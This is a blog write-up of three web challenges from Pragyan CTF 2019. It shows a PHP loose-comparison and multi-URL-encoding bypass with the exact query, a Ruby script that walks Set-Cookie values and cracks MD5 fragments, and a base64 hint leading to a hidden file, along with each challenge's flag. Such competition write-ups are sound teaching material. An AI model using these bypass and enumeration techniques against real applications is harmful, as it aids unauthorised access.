Pragyan CTF 2019 - Write-ups

Table of contents
  1. ๐Ÿ”—Information
    1. ๐Ÿ”—CTF
  2. ๐Ÿ”—125 - Mandatory PHP - Web
  3. ๐Ÿ”—100 - Cookie Monster - Web
  4. ๐Ÿ”—100 - Game of Faces - Web

๐Ÿ”—Information

๐Ÿ”—CTF

  • Name : Pragyan CTF 2019
  • Website : ctf.pragyan.org
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

๐Ÿ”—125 - Mandatory PHP - Web

PHP, PHP everywhere get the flag and earn your points there.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include 'flag.php';
highlight_file('index.php');
$a = $_GET["val1"];
$b = $_GET["val2"];
$c = $_GET["val3"];
$d = $_GET["val4"];
if(preg_match('/[^A-Za-z]/', $a))
die('oh my gawd...');
$a=hash("sha256",$a);
$a=(log10($a**(0.5)))**2;
if($c>0&&$d>0&&$d>$c&&$a==$c*$c+$d*$d)
$s1="true";
else
die("Bye...");
if($s1==="true")
echo $flag1;
for($i=1;$i<=10;$i++){
if($b==urldecode($b))
die('duck');
else
$b=urldecode($b);
}
if($b==="WoAHh!")
$s2="true";
else
die('oops..');
if($s2==="true")
echo $flag2;
die('end...');
?>

Let's try a code beautifier:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'flag.php';

highlight_file('index.php');
$a = $_GET["val1"];
$b = $_GET["val2"];
$c = $_GET["val3"];
$d = $_GET["val4"];

if (preg_match('/[^A-Za-z]/', $a)) die('oh my gawd...');
$a = hash("sha256", $a);
$a = (log10($a**(0.5)))**2;

if ($c > 0 && $d > 0 && $d > $c && $a == $c * $c + $d * $d) $s1 = "true";
else die("Bye...");

if ($s1 === "true") echo $flag1;

for ($i = 1; $i <= 10; $i++) {
if ($b == urldecode($b)) die('duck');
else $b = urldecode($b);
}

if ($b === "WoAHh!") $s2 = "true";
else die('oops..');

if ($s2 === "true") echo $flag2;
die('end...');
?>

All conditions are trivial to complete except $a == $c * $c + $d * $d.

Looking at https://secure.php.net/manual/en/types.comparisons.php it seems impossible (or hard) to match the conditions with numeric (int or float) values.

So let's try to bypass that with null, NaN, void string, INF and that kind of stuff with the loose comparison.

If we put a hash that begin with an integer in log10($a**(0.5)))**2 that number before the first letter is used. Eg. 18ac3e7343f016890c510e93f935261169d9e3f565436429830faf0934f4f8e4 will be evaluated as 18 or something. But more importantly hashes beginning with a letter will be evaluated as an infinite float after being injected in the formula.

1
2
3
4
5
6
php > var_dump(hash("sha256", "y"));
string(64) "a1fce4363854ff888cff4b8e7875d600c2682390412a8cf79b37d0b11148b0fa"

php > var_dump((log10("a1fce4363854ff888cff4b8e7875d600c2682390412a8cf79b37d0b11148b0fa"**(0.5)))**2);
PHP Warning: A non-numeric value encountered in php shell code on line 1
float(INF)

The very big numbers are also generating an INF like 9e99999999999999999999999999999999999999999.

1
2
3
php > var_dump((log10(hash("sha256", "y")**(0.5)))**2 == "9e99999999999999999999999999999999999999999");
PHP Warning: A non-numeric value encountered in php shell code on line 1
bool(true)

We need $c > $d:

1
2
3
4
5
6
php > $c = "8e99999999999999999999999999999999999999999";
php > $d = "9e99999999999999999999999999999999999999999";

php > var_dump((log10(hash("sha256", "y")**(0.5)))**2 == "9e99999999999999999999999999999999999999999" * "9e99999999999999999999999999999999999999999" + "9e99999999999999999999999999999999999999999" * "9e99999999999999999999999999999999999999999");
PHP Warning: A non-numeric value encountered in php shell code on line 1
bool(true)

And the trick is done.

Use val1=y&val2=b&val3=8e99999999999999999999999999999999999999999&val4=9e99999999999999999999999999999999999999999 as params and get the first part of the flag.

pctf{b3_c4r3fu1_duck

The second part is only using $b which is not used in the first part so they are totally independent.

1
2
3
4
5
6
7
for ($i = 1; $i <= 10; $i++) {
if ($b == urldecode($b)) die('duck');
else $b = urldecode($b);
}

if ($b === "WoAHh!") $s2 = "true";
else die('oops..');

We just need the final result to be WoAHh! and $b to be able to be urldecoded 10 times.

So let's encode ! = %21 and then % = %25 ten times:

1
WoAHh%2525252525252525252521

http://159.89.166.12:14000/?val1=y&val2=WoAHh%25252525252525252521&val3=8e99999999999999999999999999999999999999999&val4=9e99999999999999999999999999999999999999999

Here is the complete flag: pctf{b3_c4r3fu1_w1th_pHp_f31145}.

Note: 0% realistic but will learn you some bypass tricks.

Do prepare to see cookies lurking everywhere. http://159.89.166.12:13500/

1
2
3
4
5
6
$ curl --head http://159.89.166.12:13500/
HTTP/1.1 200 OK
Date: Fri, 08 Mar 2019 21:31:33 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: flag=bc54f4d60f1cec0f9a6cb70e13f2127a
Content-Type: text/html; charset=UTF-8

The flag is nor bc54f4d60f1cec0f9a6cb70e13f2127a nor pctf{bc54f4d60f1cec0f9a6cb70e13f2127a}.

Using hashkiller we found this is the hash of pc.

The flag is nor pc nor pctf{pc}.

But maybe pc is the start of pctf and we must find other hashes.

1
2
3
4
5
6
curl --head http://159.89.166.12:13500/ -H 'Cookie: flag=bc54f4d60f1cec0f9a6cb70e13f2127a'
HTTP/1.1 200 OK
Date: Fri, 08 Mar 2019 21:32:12 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: flag=114d6a415b3d04db792ca7c0da0c7a55
Content-Type: text/html; charset=UTF-8

Yes! The hash is different and 114d6a415b3d04db792ca7c0da0c7a55 is the md5 of tf. It was the right theory.

Let's script it in ruby:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env ruby

require 'net/http'

uri = URI('http://159.89.166.12:13500/')
http = Net::HTTP.start(uri.hostname, uri.port)
req = Net::HTTP::Get.new(uri)

cookie = ''
i = 0

while true
req['Cookie'] = 'flag=' + cookie unless cookie.empty?
res = http.request(req)
if res.is_a?(Net::HTTPSuccess)
cookie = res['Set-Cookie'].split('=')[1]
puts cookie
end
if cookie == 'bc54f4d60f1cec0f9a6cb70e13f2127a'
i += 1
break if i > 1
end
end

Now launch it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ./cookie-monster.rb
bc54f4d60f1cec0f9a6cb70e13f2127a
114d6a415b3d04db792ca7c0da0c7a55
b2984e12969ad3a3a2a4d334b8fb385a
6f570c477ab64d17825ef2d2dfcb6fe4
988287f7a1eb966ffc4e19bdbdeec7c3
0d4896d431044c92de2840ed53b6fbbd
f355d719add62ceea8c150e5fbfae819
12eccbdd9b32918131341f38907cbbb5
639307d281416ad0642faeaae1f098c4
96bc320e4d72edda450c7a9abc8a214f
c716fb29298ad96a3b31757ec9755763
51de5514f3c808babd19f42217fcba49
05cb7dc333ca611d0a8969704e39a9f0
bc781c76baf5589eef4fb7b9247b89a0
ff108b961a844f859bd7c203b7366f8e
2349277280263dff980b0c8a4a10674b
0b1cdc9fe1f929e469c5a54ffe0b2ed5
364641d04574146d9f88001e66b4410f
c758807125330006a4375357104f9a82
fcfdc12fb4030a8c8a2e19cf7b075926
440c5c247c708c6e46783e47e3986889
97a7bf81a216e803adfed8bd013f4b85
c1d12de20210d8c1b35c367536e1c255
a8655da06c5080d3f1eb6af7b514e309
bc54f4d60f1cec0f9a6cb70e13f2127a

hashkiller found all hashes but 2, so I used crackstation for the two remaining ones.

Finally we have:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bc54f4d60f1cec0f9a6cb70e13f2127a MD5 pc
114d6a415b3d04db792ca7c0da0c7a55 MD5 tf
b2984e12969ad3a3a2a4d334b8fb385a MD5 {c
6f570c477ab64d17825ef2d2dfcb6fe4 MD5 0o
988287f7a1eb966ffc4e19bdbdeec7c3 MD5 ki
0d4896d431044c92de2840ed53b6fbbd MD5 3s
f355d719add62ceea8c150e5fbfae819 MD5 _@
12eccbdd9b32918131341f38907cbbb5 MD5 re
639307d281416ad0642faeaae1f098c4 MD5 _y
96bc320e4d72edda450c7a9abc8a214f MD5 Um
c716fb29298ad96a3b31757ec9755763 MD5 _b
51de5514f3c808babd19f42217fcba49 MD5 Ut
05cb7dc333ca611d0a8969704e39a9f0 MD5 _t
bc781c76baf5589eef4fb7b9247b89a0 MD5 HE
ff108b961a844f859bd7c203b7366f8e MD5 y_
2349277280263dff980b0c8a4a10674b MD5 @l
0b1cdc9fe1f929e469c5a54ffe0b2ed5 MD5 s0
364641d04574146d9f88001e66b4410f MD5 _r
c758807125330006a4375357104f9a82 MD5 3v
fcfdc12fb4030a8c8a2e19cf7b075926 MD5 Ea
440c5c247c708c6e46783e47e3986889 MD5 L_
97a7bf81a216e803adfed8bd013f4b85 MD5 @_
c1d12de20210d8c1b35c367536e1c255 MD5 l0
a8655da06c5080d3f1eb6af7b514e309 MD5 t}

So the flag is pctf{c0oki3s_@re_yUm_bUt_tHEy_@ls0_r3vEaL_@_l0t}.

Note: not realistic but will force you to script and break md5 hashes.

๐Ÿ”—100 - Game of Faces - Web

The Game of Faces, welcomes you. In this era, where AIs generate a lot of faces, we would like you to contribute to the same by uploading your image. Thank you for contributing, to continue.

Just use the fake upload param with curl 'http://159.89.166.12:15000/?profile_pic=':

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Ah! One more day, One more fake hacker

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link rel="stylesheet" href="index.css">
<meta charset="utf-8">
<title></title>
</head>
<body>
<div class="row">
<div class="col-lg-4" id="item1" >
<div class="container">
<div class="form_img" >
<form action='#' method = "GET" target="resultFrame">
Upload Your Profile Picture : <input type="file" name="profile_pic" >
<input type="submit" value="Upload Image" name="submit">
</form>
</div>
</div>
</div>
<div class="col-lg-4" id="item2">

</div>
<div class="col-lg-4" id="item3">

</div>
</div>

<script type="text/javascript" src="index.js"></script>
<div class="row">
<div class="col-lg-12" >
<h1>VGhlX3Njcm9sbF9zYXlzPXRoZV9uaWdodF9raW5nVlN2YWx5cmlhbi50eHQ==</h1> </div>
</div>
</body>
</html>

Get the base64 hint:

1
2
$ printf %s 'VGhlX3Njcm9sbF9zYXlzPXRoZV9uaWdodF9raW5nVlN2YWx5cmlhbi50eHQ==' | base64 -di
The_scroll_says=the_night_kingVSvalyrian.txtbase64: invalid input

Then go to http://159.89.166.12:15000/the_night_kingVSvalyrian.txt.

Where the flag is stored: pctf{You_L00K_Wi3Rd_IN_H3R3}.

Note: 100% guessing 0 security. Pure s**t.

Share